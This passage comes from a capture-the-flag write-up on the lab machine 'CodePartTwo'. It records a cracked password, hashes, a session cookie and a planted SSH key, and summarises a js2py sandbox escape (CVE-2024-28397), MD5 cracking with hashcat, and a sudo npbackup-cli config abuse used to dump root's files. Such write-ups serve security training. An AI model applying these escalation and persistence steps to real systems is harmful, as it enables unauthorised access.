    • Observed value: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co.
    • First used: GET /dashboard and POST /run_code.
  • OS marco / sweetangelbabylove
    • Obtained by: The hash 649c9d65a206a75f5abe509fe128bce5 in /home/app/app/instance/users.db was identified as MD5. A dictionary attack with hashcat -m 0 and rockyou.txt is shown as a reproduction step. No cracking log remains; successful su confirmed the plaintext password.
    • Account: Login user with uid=1000.
    • First used: su - marco from the app shell.
    • Access enabled: Reading /home/marco/user.txt, NOPASSWD npbackup-cli, and SSH.
  • Hash for web user app: a97588c0e2fa3a024876339e27aeb42e
    • Obtained by: The same users.db.
    • Use: Not used on this path.
  • user flag
    • Path: /home/marco/user.txt
    • Value: [REDACTED]
    • Obtained by: cat user.txt as marco; permissions were -rw-r----- 1 root marco.
  • root flag
    • Path: /root/root.txt
    • Value: [REDACTED]
    • Obtained by: sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt.
  • Public key (attacking machine’s ed25519 key)
    • Created with: ssh-keygen -t ed25519 -f ./codeparttwo (no log of running the key-generation command).
    • ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC
    • Change: Written to /home/marco/.ssh/authorized_keys.
    • First used: ssh -i ./codeparttwo marco@codeparttwo.htb.
  • Configuring Firefox’s manual HTTP proxy and checking requests and responses in the Freja TUI.
  • Reading pinned versions from the public application ZIP’s requirements.txt and comparing them with known CVEs.
  • Escaping the js2py 0.74 sandbox (CVE-2024-28397), reaching subprocess.Popen from an empty object’s __getattribute__.
  • When adapting an existing Metasploit module to an authenticated JSON API, matching HttpClient keep_cookies, registration and login timing, and AutoCheck success tests to the endpoint’s response.
  • Dumping SQLite credentials, identifying 32-character hashes, and using hashcat -m 0; a hash of a password you chose can identify the algorithm.
  • Testing whether a recovered plaintext password is reused between web and OS accounts.
  • With a NOPASSWD binary whose arguments are unrestricted in sudo -l, configuration files and subcommands are also part of the attack surface.
  • If a backup tool running as root accepts a writable configuration, adding a backup source can make it readable through --dump. A snapshot may remain even when the final status is errors.

On this box, js2py==0.74 in the distributed files and authenticated POST /run_code pointed to the first entry point to investigate. The same ZIP also contained app.py and users.db, but the record does not show their contents being inspected at that stage. After obtaining a distribution, its bundled files deserve inspection along with its dependencies. The adapted module’s check reported failure because it did not recognize HTTP 200 JSON as success. The result message alone was insufficient; the opened session and its user had to be checked.

The next clue was npbackup-cli, allowed without argument restrictions in sudo -l. The original repository details were preserved while /root/ was added to paths. After saving the backup, --ls confirmed it before --dump read the file. The simultaneous minimum-size error and saved snapshot also mattered. For similar boxes, examine a sudo-enabled command’s configuration, output features, and the state actually left behind.